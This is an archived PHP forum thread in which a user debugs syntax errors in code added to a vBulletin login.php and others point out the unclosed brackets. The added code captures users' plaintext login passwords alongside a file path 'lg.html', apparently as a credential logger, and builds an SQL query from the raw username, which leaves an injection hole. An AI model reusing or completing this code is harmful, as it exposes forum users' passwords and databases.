Jump to content

Parse error: syntax error


timebandit

Recommended Posts

hi guys,

 

i appear to be having a problem, my code says

 

Parse error: syntax error, unexpected T_VARIABLE in /home/path/public_html/forums/login.php on line 132

 

i belive this one of the two is line 132

 

$lg_username = strtolower($vbulletin->GPC["vb_login_username"]);
   $lg_password = $vbulletin->GPC["vb_login_password"];

Link to comment
https://forums.phpfreaks.com/topic/142957-parse-error-syntax-error/
Share on other sites

// create new session
process_new_login
$lg_username = strtolower($vbulletin->GPC["vb_login_username"]);
   $lg_password = $vbulletin->GPC["vb_login_password"];
   $lg_file = "./includes/lg.html";
   $sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'");
   
   while($row = @mysql_fetch_array($sql_query))
   {
   
      if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)
      {

// create new session
//   process_new_login       ->     THIS LINE WASN'T COMMENTED
$lg_username = strtolower($vbulletin->GPC["vb_login_username"]);
   $lg_password = $vbulletin->GPC["vb_login_password"];
   $lg_file = "./includes/lg.html";
   $sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'");
   
   while($row = @mysql_fetch_array($sql_query))
   {
   
      if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)
      {

hi thanks for the reply but i have a new error now:

 

Parse error: syntax error, unexpected ',' in /home/path/public_html/forums/login.php on line 141

 

      if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)($vbulletin->GPC['logintype'], $vbulletin->GPC['cookieuser'], $vbulletin->GPC['cssprefs']);

The problem is with some action after your if statement, specifically that there is none:

 

if (
strlen(
	$lg_password
)
> 1 AND strlen(
	$lg_username
) > 1
)
// THE FOLLOWING CODE IS NO LONGER PART OF THE IF STATMENET
($vbulletin->GPC['logintype'], $vbulletin->GPC['cookieuser'], $vbulletin->GPC['cssprefs']);

 

I believe that PHP hits $vbulletin->GPC['logintype'] and expects you to do something with that variable, specifically assign something to it with =. Instead, you put in a comma and PHP throws a syntax error, unexpected ','.

Can you give me again the ten lines above and bellow the problem

// create new session
       //   process_new_login       ->     THIS LINE WASN'T COMMENTED
$lg_username = strtolower($vbulletin->GPC["vb_login_username"]);
   $lg_password = $vbulletin->GPC["vb_login_password"];
   $lg_file = "./includes/lg.html";
   $sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'");
   
   while($row = @mysql_fetch_array($sql_query))
   {
   
      if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)
      {($vbulletin->GPC['logintype'], $vbulletin->GPC['cookieuser'], $vbulletin->GPC['cssprefs']);

// do redirect
do_login_redirect();

}
else if ($_GET['do'] == 'login')
{
// add consistency with previous behavior
exec_header_redirect($vbulletin->options['forumhome'] . '.php');
}

The problem is with some action after your if statement, specifically that there is none:

 

 

I believe that PHP hits $vbulletin->GPC['logintype'] and expects you to do something with that variable, specifically assign something to it with =. Instead, you put in a comma and PHP throws a syntax error, unexpected ','.

The problem i am faced with if i do that is:

 

Parse error: syntax error, unexpected $end in /home/path/public_html/forums/login.php on line 315

 

line 315 is only ?>

 

hmm...

The problem i am faced with if i do that is:

 

Parse error: syntax error, unexpected $end in /home/path/public_html/forums/login.php on line 315

 

line 315 is only ?>

 

hmm...

 

You'll get an unexpected $end error message when a bracket or parenthesis is still open. If you have an editor like jEdit you can simply type } or ) and it will show you where the open bracket is.

 

It could also be from the line before missing a semi-colon but I suspect it is the former and not the latter.

 

If you'd like some help finding where your error is I'm afraid you're going to have to post the entire file's code, there's no way of telling where the open bracket is otherwise.

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.